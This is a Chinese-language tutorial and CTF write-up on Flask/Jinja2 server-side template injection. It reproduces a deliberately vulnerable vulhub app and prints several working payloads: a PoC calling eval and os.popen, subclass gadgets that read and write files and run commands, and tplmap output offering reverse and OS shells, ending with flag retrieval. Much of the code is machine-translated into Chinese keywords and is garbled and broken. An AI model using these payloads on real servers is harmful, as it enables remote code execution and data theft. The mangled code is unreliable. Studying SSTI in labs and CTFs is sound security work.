模板引擎(这里特指用于Web开发的模板引擎)是为了将用户界面与业务数据(内容)分离而产生的。它可以生成特定格式的文档,网站使用的模板引擎会生成标准的HTML文档。
模板引擎可以让(网站)程序将界面与数据分离,将业务代码与逻辑代码分离,从而大大提高开发效率。良好的设计还使代码重用更加容易。
SSTI 是服务器端模板注入。常见的Web注入的原因是一样的。服务器在目标编译和渲染过程中接收用户的输入并将其用作Web应用程序模板内容的一部分。 ,用户插入的恶意内容被执行,可能会导致敏感信息泄露、代码执行、GetShell等问题。其范围主要取决于模板引擎的复杂程度。
flask/ssti漏洞,完整名称应该是:Flask(Jinja2)服务器端模板注入漏洞(SSTI)
Flask 是一个用 Python 编写的轻量级 Web 应用程序框架。模板引擎使用Jinja2。
Flask 为您提供了构建 Web 应用程序的工具、库和技术。该 Web 应用程序可以是一些网页、博客、wiki、基于 Web 的日历应用程序或商业网站。
flask简单易学。下面的代码是flask版本的hello world
from Flask import Flask #Initialization
app = Flask(__name__) # 初始化
@app.route("/") # 路由装饰器访问http://xxx.xx.xx时,使用hello函数处理响应
定义你好():
返回“你好世界!”
如果 __name__ == "__main__":
应用程序.run()
定义模板
{$什么}
这只是一个模板,{$what}
是数据。
我们可以使用相应的后端代码传入内容,得到一个新的html页面
Jinja2 使用 {{name}}
结构来表示变量。它是一个特殊的占位符,告诉模板引擎这个位置的值是从渲染模板时使用的数据中获取的。
Jinja2 可以识别所有类型的变量,甚至包括列表、字典和对象等复杂类型。此外,还可以使用过滤器来修改变量。过滤器名称添加在变量名称之后,并用竖线分隔。例如,以下模板以大写字母显示变量名称的值。
你好,{{ name|capitalize }}
if语句的简单示例
{% 如果用户 %}
你好,{{user}}!
{% 别的 %}
你好,陌生人!
{% 万一 %}
for 语句循环渲染一组元素
{% 评论中的评论 %}
- {{评论}}
{% 结束 %}
使用vulhub提供的环境进行复现:
前端页面为:
源码为:
从烧瓶导入烧瓶,请求
从 jinja2 导入模板
应用程序=烧瓶(__名称__)
@app.route("/")
定义索引():
name = request.args.get('姓名', '客人')
t = 模板("你好" + 名字)
返回 t.render()
如果 __name__ == "__main__":
应用程序.run()
t = Template("Hello " + name)
这行代码的意思是将输入的名字拼接到模板中。此时姓名的输入还没有经过任何测试。尝试使用模板语言来测试:
使用官方poc测试:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if b.keys() 中的 'eval' %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% 万一 %}
{% 万一 %}
{% 结束 %}
{% 万一 %}
{% 结束 %}
Jinja2 使用沙盒模板执行环境
# __class__:用于查看变量所属的类。根据前面的变量形式就可以得到它所属的类。
>>> ''.__class__
>>> ().__class__
# __bases__:用于查看类的基类,或者使用数组索引查看特定位置的值
>>> ().__class__.__bases__
(,)
>>> ''.__class__.__base__
(,)
# __subclasses__():查看当前类的子类。
>>> [].__class__.__bases__[0].__subclasses__()
[、、、·····]
# __globals__以dict形式返回函数所在模块命名空间中的所有变量
//获取基础类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__base__[0]
目的
//读取文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写入文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/ html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
构造payload执行ls命令:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% 万一 %}
{% 结束 %}
tplmap
D:\T00LS\CLT\tplmap>python www.sychzs.cn -u "http://10.10.10.200:8000/?name=asdf"
[+] Tplmap 0.5
自动服务器端模板注入检测和利用工具[+] 测试 GET 参数“name”是否可注入
[+] Smarty 插件正在测试带有标签“*”的渲染
[+] Smarty插件正在测试盲注
[+] Mako 插件正在使用标签“${*}”测试渲染
[+] Mako 插件正在测试盲注
[+] Python 插件正在使用标签“str(*)”测试渲染
[+] Python插件正在测试盲注入
[+] Tornado 插件正在使用标签“{{*}}”测试渲染
[+] Tornado插件正在测试盲注入
[+] Jinja2 插件正在使用标签“{{*}}”测试渲染
[+] Jinja2 插件已确认使用标签“{{*}}”进行注入
[+] Tplmap 识别出以下注入点:
GET参数:name //可以注入描述,给出详细信息
引擎:金贾2
注射:{{*}}
上下文:文本
操作系统: posix-linux
技术:渲染
能力:
Shell命令执行: ok // 检查这些利用方法是否适用于目标环境
绑定和反向shell:ok
文件写入:确定
文件读取:确定
代码评估:好的,python代码[+] 重新运行 tplmap,提供以下选项之一: //您可以使用以下参数进行进一步操作
--os-shell 在目标上运行 shell
--os-cmd 执行 shell 命令
--bind-shell PORT 连接到绑定到目标端口的 shell
--reverse-shell HOST PORT 将 shell 发送回攻击者的端口
--upload LOCAL REMOTE 上传文件到服务器
--download REMOTE LOCAL 下载远程文件
Tips:这道题是关于python模板注入的。使用 {{2*2}}
进行测试
构建有效负载:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()") }}
{%万一%}
{%endfor%}
获取旗帜
D:\T00LS\CLT\tplmap>python www.sychzs.cn -u "http://111.198.29.45:46889/*" --os-shell
网址参数:url
引擎:金贾2
注射:{{*}}
上下文:文本
操作系统:posix-linux2
技术:渲染
能力:
shell命令执行:ok
绑定和反向shell:ok
文件写入:好的
文件读取:好的
代码评估:好的,python代码
[+] 在操作系统上运行命令。
posix-linux2 $ls
FL4g
索引.py
posix-linux2 $ 猫 fl4g
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
posix-linux2 $
参考文字
SSTI 完整学习
烧瓶ssti出现泄漏